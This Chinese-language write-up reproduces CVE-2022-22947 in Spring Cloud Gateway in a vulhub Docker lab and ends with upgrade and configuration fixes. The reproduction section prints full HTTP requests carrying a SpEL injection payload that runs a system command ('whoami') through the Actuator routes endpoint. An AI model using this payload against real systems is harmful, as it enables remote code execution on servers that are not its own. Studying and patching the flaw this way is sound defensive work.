1.漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告，据公告描述，当启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。
2.影响版本
3.1.0
3.0.0至3.0.6
Spring Cloud Gateway 其他已不再更新的版本
3.漏洞环境搭建
利用docker搭建漏洞复现环境
git pul #更新vulhub
切换到/vulhub/spring/CVE-2022-22947目录
拉取漏洞环境
docker-compose up -d
访问http://192.168.42.145:8080
4.漏洞复现
添加包含恶意的路由
POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新网关路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
命令执行成功
GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
删除添加的恶意路由
DELETE /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36

Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
5.修复方案
1）3.1.x用户应升级到3.1.1+；
2）3.0.x用户应升级到3.0.7+；
3）如果不需要Actuator功能，可以通过management.endpoint.gateway.enable：false配置将其禁用。
